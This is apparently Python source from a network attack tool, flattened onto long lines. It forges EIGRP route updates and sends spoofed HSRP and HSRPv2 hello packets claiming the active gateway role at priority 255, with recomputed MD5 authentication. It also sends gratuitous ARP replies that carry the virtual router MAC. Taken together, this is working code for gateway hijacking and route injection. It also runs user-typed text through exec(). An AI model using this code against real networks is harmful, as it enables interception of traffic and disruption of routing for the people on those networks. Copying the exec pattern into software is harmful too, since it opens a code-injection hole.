def on_update_button_clicked(self, data): page = self.notebook.get_current_page() if page == 0: msg = eigrp_packet( eigrp_packet.EIGRP_OPTCODE_UPDATE, eigrp_packet.EIGRP_FLAGS_COND_RECV, 0, 0, int(self.as_spinbutton.get_value()), [ eigrp_internal_route( self.next_hop_entry.get_text(), int(self.delay_spinbutton.get_value()), int(self.bandwidth_spinbutton.get_value()), int(self.mtu_spinbutton.get_value()), int(self.hop_count_spinbutton.get_value()), int(self.reliability_spinbutton.get_value()), int(self.load_spinbutton.get_value()), int(self.prefix_spinbutton.get_value()), self.destination_entry.get_text(), ) ], ) elif page == 1: msg = eigrp_packet( eigrp_packet.EIGRP_OPTCODE_UPDATE, eigrp_packet.EIGRP_FLAGS_COND_RECV, 0, 0, int(self.as_spinbutton.get_value()), [ eigrp_external_route( self.next_hop_entry1.get_text(), self.orig_router_entry.get_text(), int(self.orig_as_spinbutton.get_value()), 0, int(self.external_metric_spinbutton.get_value()), int(self.external_id_spinbutton.get_value()), 0, int(self.delay_spinbutton1.get_value()), int(self.bandwidth_spinbutton1.get_value()), int(self.mtu_spinbutton1.get_value()), int(self.hop_count_spinbutton1.get_value()), int(self.reliability_spinbutton1.get_value()), int(self.load_spinbutton1.get_value()), int(self.prefix_spinbutton1.get_value()), self.destination_entry1.get_text(), ) ], ) elif page == 2: buffer = self.update_textview.get_buffer() text = buffer.get_text(buffer.get_start_iter(), buffer.get_end_iter()) if text == "": return exec("msg = " + text) select = self.treeview.get_selection() (model, paths) = select.get_selected_rows() for i in paths: parent = model.iter_parent(model.get_iter(i)) if not parent: parent = model.get_iter(i) host = model.get_value(parent, self.TREE_HOST_ROW) self.log("EIGRP: Sending update to %s" % (host)) peer = dnet.ip_aton(host) self.peers[peer].update(msg)
def set_ip(self, ip, mask): self.ip = dnet.ip_aton(ip)
def run(self): self.parent.log("HSRP2: Thread started") while self.running: for i in self.parent.peers: (iter, pkg, state, arp) = self.parent.peers[i] if state: hsrp2_group_state = hsrp2_group_state_tlv( hsrp2_group_state_tlv.OP_CODE_HELLO, hsrp2_group_state_tlv.STATE_ACTIVE, pkg["hsrp2_group_state_tlv"].ip_ver, pkg["hsrp2_group_state_tlv"].group, self.parent.mac, 255, pkg["hsrp2_group_state_tlv"].hello_time, pkg["hsrp2_group_state_tlv"].hold_time, pkg["hsrp2_group_state_tlv"].ip ) data = hsrp2_group_state.render() if "hsrp2_text_auth_tlv" in pkg: hsrp2_text_auth = hsrp2_text_auth_tlv(pkg["hsrp2_text_auth_tlv"].auth_data) data += hsrp2_text_auth.render() elif "hsrp2_md5_auth_tlv" in pkg: if pkg["hsrp2_group_state_tlv"].ip_ver == 4: ip = self.parent.ip else: ip = self.parent.ip6_ll[0] + self.parent.ip6_ll[-3:] auth = hsrp2_md5_auth_tlv(pkg["hsrp2_md5_auth_tlv"].algo, pkg["hsrp2_md5_auth_tlv"].flags, ip, pkg["hsrp2_md5_auth_tlv"].keyid, "\x00" * 16) if self.parent.ui == 'gtk': secret = self.parent.auth_entry.get_text() elif self.parent.ui == 'urw': secret = self.parent.auth_edit.get_edit_text() key_length = struct.pack("<Q", (len(secret) << 3)) key_fill = secret + '\x80' + '\x00' * (55 - len(secret)) + key_length salt = data + auth.render() m = hashlib.md5() m.update(key_fill) m.update(salt) m.update(secret) auth.csum = m.digest() data += auth.render() pass if pkg["hsrp2_group_state_tlv"].ip_ver == 4: udp_hdr = dpkt.udp.UDP( sport=HSRP2_PORT, dport=HSRP2_PORT, data=data ) udp_hdr.ulen += len(udp_hdr.data) ip_hdr = dpkt.ip.IP( ttl=1, p=dpkt.ip.IP_PROTO_UDP, src=self.parent.ip, dst=dnet.ip_aton(HSRP2_MULTICAST_ADDRESS), data=str(udp_hdr) ) ip_hdr.len += len(ip_hdr.data) ipt = dpkt.ethernet.ETH_TYPE_IP else: udp_hdr = dpkt.udp.UDP( sport=HSRP2_PORT6, dport=HSRP2_PORT6, data=data ) udp_hdr.ulen += len(udp_hdr.data) ip_hdr = dpkt.ip6.IP6( hlim=255, nxt=dpkt.ip.IP_PROTO_UDP, src=self.parent.ip6_ll, dst=dnet.ip6_aton(HSRP2_MULTICAST6_ADDRESS), data=udp_hdr, plen = len(str(udp_hdr)) ) ip_hdr.extension_hdrs = { 0 : None, 43 : None, 44 : None, 51 : None, 50 : None, 60 : None } ipt = dpkt.ethernet.ETH_TYPE_IP6 eth_hdr = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(HSRP2_MULTICAST_MAC), src=self.parent.mac, type=ipt, data=str(ip_hdr) ) self.parent.dnet.send(str(eth_hdr)) if arp: src_mac = dnet.eth_aton("00:00:0c:9f:f0:%02x" % (pkg["hsrp2_group_state_tlv"].group)) brdc_mac = dnet.eth_aton("ff:ff:ff:ff:ff:ff") stp_uplf_mac = dnet.eth_aton("01:00:0c:cd:cd:cd") ip = pkg["hsrp2_group_state_tlv"].ip arp_hdr = dpkt.arp.ARP( hrd=dpkt.arp.ARP_HRD_ETH, pro=dpkt.arp.ARP_PRO_IP, op=dpkt.arp.ARP_OP_REPLY, sha=src_mac, spa=ip, tha=brdc_mac, tpa=ip ) eth_hdr = dpkt.ethernet.Ethernet( dst=brdc_mac, src=src_mac, type=dpkt.ethernet.ETH_TYPE_ARP, data=str(arp_hdr) ) self.parent.dnet.send(str(eth_hdr)) arp_hdr = dpkt.arp.ARP( hrd=dpkt.arp.ARP_HRD_ETH, pro=dpkt.arp.ARP_PRO_IP, op=dpkt.arp.ARP_OP_REPLY, sha=src_mac, spa=ip, tha=stp_uplf_mac, tpa=ip ) eth_hdr = dpkt.ethernet.Ethernet( dst=stp_uplf_mac, src=src_mac, type=dpkt.ethernet.ETH_TYPE_ARP, data=str(arp_hdr) ) self.parent.dnet.send(str(eth_hdr)) self.parent.peers[i] = (iter, pkg, state, arp - 1) time.sleep(1) self.parent.log("HSRP2: Thread terminated")
def run(self): self.parent.log("HSRP: Thread started") while self.running: for i in self.parent.peers: if self.parent.peers[i]["state"]: pkg = self.parent.peers[i]["pkg"] auth = self.parent.peers[i]["auth"] if not auth is None: hsrp = hsrp_packet(hsrp_packet.OP_HELLO, hsrp_packet.STATE_ACTIVE, pkg.hello, pkg.hold, 255, pkg.group, "\x00" * 8, pkg.ip) auth = hsrp_auth_tlv(auth.algo, auth.flags, self.parent.ip, auth.keyid, "\x00" * 16) if self.parent.ui == 'gtk': secret = self.parent.auth_entry.get_text() elif self.parent.ui == 'urw': secret = self.parent.auth_edit.get_edit_text() key_length = struct.pack("<Q", (len(secret) << 3)) key_fill = secret + '\x80' + '\x00' * (55 - len(secret)) + key_length salt = hsrp.render() + auth.render() m = hashlib.md5() m.update(key_fill) m.update(salt) m.update(secret) auth.csum = m.digest() data = hsrp.render() + auth.render() else: hsrp = hsrp_packet(hsrp_packet.OP_HELLO, hsrp_packet.STATE_ACTIVE, pkg.hello, pkg.hold, 255, pkg.group, pkg.auth_data, pkg.ip) data = hsrp.render() udp_hdr = dpkt.udp.UDP( sport=HSRP_PORT, dport=HSRP_PORT, data=data ) udp_hdr.ulen += len(udp_hdr.data) ip_hdr = dpkt.ip.IP( ttl=1, p=dpkt.ip.IP_PROTO_UDP, src=self.parent.ip, dst=dnet.ip_aton(HSRP_MULTICAST_ADDRESS), data=str(udp_hdr) ) ip_hdr.len += len(ip_hdr.data) eth_hdr = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(HSRP_MULTICAST_MAC), src=self.parent.mac, type=dpkt.ethernet.ETH_TYPE_IP, data=str(ip_hdr) ) self.parent.dnet.send(str(eth_hdr)) if self.parent.peers[i]["arp"]: src_mac = dnet.eth_aton("00:00:0c:07:ac:%02x" % (pkg.group)) brdc_mac = dnet.eth_aton("ff:ff:ff:ff:ff:ff") stp_uplf_mac = dnet.eth_aton("01:00:0c:cd:cd:cd") ip = struct.pack("!I", pkg.ip) arp_hdr = dpkt.arp.ARP( hrd=dpkt.arp.ARP_HRD_ETH, pro=dpkt.arp.ARP_PRO_IP, op=dpkt.arp.ARP_OP_REPLY, sha=src_mac, spa=ip, tha=brdc_mac, tpa=ip ) eth_hdr = dpkt.ethernet.Ethernet( dst=brdc_mac, src=src_mac, type=dpkt.ethernet.ETH_TYPE_ARP, data=str(arp_hdr) ) self.parent.dnet.send(str(eth_hdr)) arp_hdr = dpkt.arp.ARP( hrd=dpkt.arp.ARP_HRD_ETH, pro=dpkt.arp.ARP_PRO_IP, op=dpkt.arp.ARP_OP_REPLY, sha=src_mac, spa=ip, tha=stp_uplf_mac, tpa=ip ) eth_hdr = dpkt.ethernet.Ethernet( dst=stp_uplf_mac, src=src_mac, type=dpkt.ethernet.ETH_TYPE_ARP, data=str(arp_hdr) ) self.parent.dnet.send(str(eth_hdr)) self.parent.peers[i]["arp"] = self.parent.peers[i]["arp"] - 1 time.sleep(1) self.parent.log("HSRP: Thread terminated")